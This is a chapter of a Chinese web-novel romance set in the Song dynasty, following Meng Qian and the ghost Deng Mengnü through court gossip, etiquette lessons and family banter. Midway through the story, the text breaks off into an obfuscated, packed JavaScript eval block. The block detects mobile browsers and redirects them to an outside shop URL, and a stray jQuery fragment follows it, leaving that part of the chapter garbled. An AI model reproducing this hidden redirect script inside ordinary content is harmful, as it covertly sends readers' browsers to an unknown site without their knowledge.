8. 三个误会
    邓猛女看孟钱做了一天的戏。

    邓猛女已经很了解孟钱的德性。

    邓猛女知道孟钱一定又在装可怜。

    但是……

    “别怕。”邓猛女按了按孟钱的头发,“不是还有我陪你吗?”

    孟钱仰起头,乌黑的发丝环绕着苍白无助的面孔,咬着下唇是她最后的坚强,头顶蹭在她的掌下宛如依恋母兽的幼崽,坚强得撑起第一次面对世界的勇气,却连尾音都在打颤:“也只有我能看到你,只有我能听到你说话,你也没办法离我太远,我,你……我能陪你聊聊天吗?”

    邓猛女告诉自己,孟钱最会骗人一定是装的装的装的!

    她听到自己的声音,很轻,很软:“你,想聊什么?”

    孟钱眨巴眨巴眼,漂亮的眼睛满是无辜:“你小时候生活在宫里吗?能跟我讲讲吗?”

    邓猛女眼神渺远,似乎陷入回忆无法自拔,那些时光沉积的砂砾顺着开口涌出来:“规行矩步,谨小慎微。”

    孟钱感叹着,诱导她继续说下去:“那一定很不容易,你是怎么进宫的?”

    “我就生在掖庭。姑祖母是和熹皇后邓绥,以女君之名执掌大汉一十六年,姑祖母过世之后,邓家被清算,父亲被充入掖庭……”

    千年前的汉朝宫廷在邓猛女的讲述中娓娓道来。

    看得出来是憋了一肚子话想找人说很久了。

    原来是个闷骚的傲娇。

    【在线观众:1083人。

    主播积分:6213分。】

    让闷骚傲娇来的更猛烈些吧!

    ……

    在邓猛女给孟钱讲过去的故事的时候,皇城司冰井务衙门,常庆被一巴掌扇到地上。

    “混账东西,你自己胡编的东西也敢往我这送?”

    监管皇城司的内副都知石得一甩了甩手,气的火冒三丈。

    朱太妃问官家去孟家的事,他正好得了消息便传了过去,结果转过头风评就整个翻转了!

    平白得罪了热门待选秀女也就罢了,让皇城司消息在宫中失了真实,那才是影响他前途的大事!

    常庆顾不得脸上红肿,一把抱住石得一的大腿:“石都知,小可再大的胆子也不敢蒙骗您呐!那话确确实实,就是孟二那亲娘亲口所说!”

    石得一眯着眼瞪着常庆,常庆虽然战战兢兢,却始终坚持己见。

    常庆为皇城司探秘多年,此时此刻,断然不敢继续扯谎:“好啊,这还没进宫呢,颠倒黑白颠到咱家头上了!”

    “你,细细说说,那孟家是什么人?”

    常庆知道自己报仇的机会来了,忙不迭得说道:“那孟家大娘子,是燕归酒楼的店家燕香宜,最是凶厉粗蛮……”

    “石得一,那孟家真如你所说的那般不堪吗?”

    太皇太后高滔滔倚在圈椅里,静静得听着石得一回禀皇城司打探来的消息。

    她曾经有一张桃心小脸,细眉圆眼,樱桃小嘴,讨喜可爱,最初便是凭借这一张脸入了曹皇后的眼。

    但如今满朝文武,大宋辽夏都知道,她不能说是相由心生吧,只能说是毫不相干。

    她陪着宋英宗在宫中三进三出,宫闱立储的大起大落将她锤炼的坚韧不拔。中年丧夫,她把儿子扶上了皇位;老年丧子,白发人送黑发人,她抱着十岁的孙子临朝称制,一坐就是六年。

    如今天下,谁人不知,她才是大宋的掌控者?

    石得一在外面再嚣张跋扈,在她面前,也依旧卑微恭敬:“不敢欺瞒娘娘,臣所查得便是如此。”

    高滔滔不辨喜怒,只是挥手让他退下。

    朱怡见高滔滔沉默良久,有心说话又不敢开口,一时间坐如针毡。

    可高滔滔虽然双目微阖,却仿佛后脑勺长了眼睛似的:“有话就说!扭来扭去得做什么?!”

    朱怡被高滔滔吓了一跳,但婆婆的叱骂她到底习惯了,连步摇都没晃一下,壮着胆子哆哆嗦嗦道:“娘娘,选秀多是非,流言蜚语只是一面之词……”

    高滔滔诧异得打量朱怡一眼,就在朱怡再次坐立不安的时候,终于开口:“算你今次有点见识。”

    朱怡难得被婆母夸,浑身一颤,发冠上的珠翠都磕碰得丁零当啷作响。

    高滔滔恨铁不成钢,越发看不上朱怡,这般怯懦,岂有皇母之像?!

    “官家与你说什么了?你细细说来,一个字都不要漏。”

    “官家说……”朱怡面上顿生古怪。

    能把官家当成太监,那姑娘也是真虎啊!

    高滔滔最看不惯朱怡这样扭扭捏捏,都当了二十多年皇妃,还是跟个宫女似的心虚胆怯一日三惊:“吞吞吐吐地做什么?”

    朱怡被婆母一吓,脱口而出:“官家说那孟家姑娘不像是有这么多心眼子的人!”

    ……

    宫廷礼仪沉闷封建,但学习不是。

    每一次学习都是珍贵的机会。

    所以被折珩高价请来教导孟家姐妹的吴茹就纳了闷了,以孟家大娘子的聪慧认真机敏乖巧,基础怎么会这么差?!

    她以前学礼仪的时候是被塞厨房烧火去了吗?

    “吴娘子慢走。”不过学了一天,孟钱的行礼就已经有模有样了。

    再看身体在行礼,灵魂在食盒里的孟彦卿,吴茹又觉得合理了。

    大概是都没人教吧。

    吴茹虽然出身尚仪局,却直到今年年满二十五岁出宫还是个宫女,连个女史都没混上,满朝寻教养嬷嬷的官宦世家压根没看上她,这才被折珩捡漏,高价请来教导孟家姐妹礼仪。

    她刚刚出宫,身上依旧是宫廷里带出来的木人脾气,从不多说一个字,多行一步路,只想着完成任务拿钱走人,不多看不多想不多猜。

    眼看着吴娘子走了,孟彦卿松了一大口气:“我饿了!”

    “饿了就去吃。”孟钱觉得孟彦卿对她可能有点误解。

    饿了就要吃东西,这是最天经地义的事儿,她就算再凶也没反人类到这份上吧?

    孟彦卿得了大魔王允准,脑袋紧随着灵魂的脚步扎进食盒里,一扫而空连个嗝都没打。

    孟钱在抄书的间隙抬起头来:“没吃饱?”

    孟彦卿摸摸肚皮,终于面露羞赧。

    就那两块鸟食儿一样的点心,吃不饱是什么很奇怪的事情吗?

    孟钱史无前例地在孟彦卿脸上见到羞涩神情,只觉得莫名其妙:“那再让人去要呀,开酒楼还能饿着自家人吗?别耽误吃正餐就行。”

    “我娘不让我吃点心。”孟彦卿瘪着嘴,“娘说,吃多长胖了就不轻柔娇弱了,就不好看了。”

    孟钱废了好大劲才把那句“傻逼”憋回去,保住了孟彦君的人设。

    宋朝就有白瘦幼审美了?

    “谁说的轻柔娇弱才好看?”

    “我娘说官眷圈子里都这样,要弱柳扶风,若有似病态之姿,才是上佳。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561807|142742||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    “傻逼。”

    这回孟钱没忍住。

    说就说了怎么滴吧?脏话说出来,心里就干净了。

    孟钱拍拍胸口,我心依旧无瑕。

    遣退丫鬟再勾勾手指招来孟彦卿:“你知道你娘为什么吵不过我母亲吗?”

    孟彦卿摇头。

    “因为她没吃饱饭。”

    “知道为什么你打不过我吗?”

    孟彦卿眼中“蹭”得烧起两团火苗,要是她能打过这大魔王还能被她欺负?

    “因为你饭没吃饱。”

    “那我要是吃饱了……”孟彦卿脑海中已经开始畅想骑在大魔王身上左右开弓的场景了!

    那真是想想就爽啊!

    可想到现实情况,孟彦卿又低落了:“可我娘叮嘱过,不让厨房给我加吃的。”

    孟钱觉得自己心如铁石。

    “……我去帮你要。”

    厨房外。

    邓猛女突然提醒:“隐蔽,前头有人。”

    孟钱藏身隐蔽一气呵成,悄悄探出脑袋偷看。

    孟彦弼正在把食盒递给陈采:“卤牛肉。”

    陈采看着食盒上燕归酒楼的标志,好气又好笑:“这是燕归酒楼的菜色,还要你给我吗?”

    “你太瘦了,要多吃点,补补。”孟彦弼依旧伸直手臂,手掌下露出一角黄色,“还有平安福,保健康。”

    陈采晃晃脖子上的锦囊:“我已经有很多平安福了。”

    孟彦弼嚅嗫着,最后只能说出四个字:“平安是福。”

    “咳咳咳……”突如其来的咳嗽惊天动地,吓得俩人一扭头,就看到孟钱扶着墙壁不知是咳还是笑,总归快抽过去了。

    “我不是故意偷听的啊,真的是刚好路过。”孟钱擦一把笑出来的眼泪,“你们继续,继续。”

    孟彦弼一言不发,面色变粉变红,温度急遽升高。

    眼看着孟彦弼要把自己煮熟了,陈采推推他:“你先去吧。”

    孟彦弼一言不发扭头就走,同手同脚笔直前行。

    然后把自己拍在门上。

    听到后面被捂嘴拖走还是堵不住的笑,孟彦弼爬起来逃离现场。

    孟钱是笑倒在陈采身上被她一路拖回去的:“阿采姐姐,你到底看上了我哥哥……哎呦,什么东西这么硌?”

    “他旺我。”陈采把孟彦君按坐在凳子上,从袖中取出一块沉香佛牌,“以前我身子的确不好,他总觉得我没吃饱,每每出门都要给我寻些吃的带回来。后来又一次,他从大相国寺给我求来了这块佛牌,说来也是神奇,那之后,我的身子就渐渐好起来了。”

    这个理由比他能让我发财还有力!

    “那你身上……都是他求的?”孟钱看她从脖子上取下那个硌得她脸疼的足银璎珞圈赤金长命锁,孟彦弼这么有钱?

    “这个不是,这些是都我娘听说平安福有效之后给我带上的。”

    超级富婆燕香宜,给自己独女护身怎么可能只有轻飘飘的一纸符咒?

    和田玉佩,檀木佛珠,十八子手串,琉璃平安福,赤铜八卦盘……

    为什么还有八卦盘?!

    这堆东西扔出去,不说能降妖除魔吧,也是能开人脑壳的!

    孟钱觉得这里面一定有什么误会。

    少女,有没有可能,让你体质变好的,不是玄学祈福,是体育锻炼呢?

    你身上这些东西加起来足有八斤啊!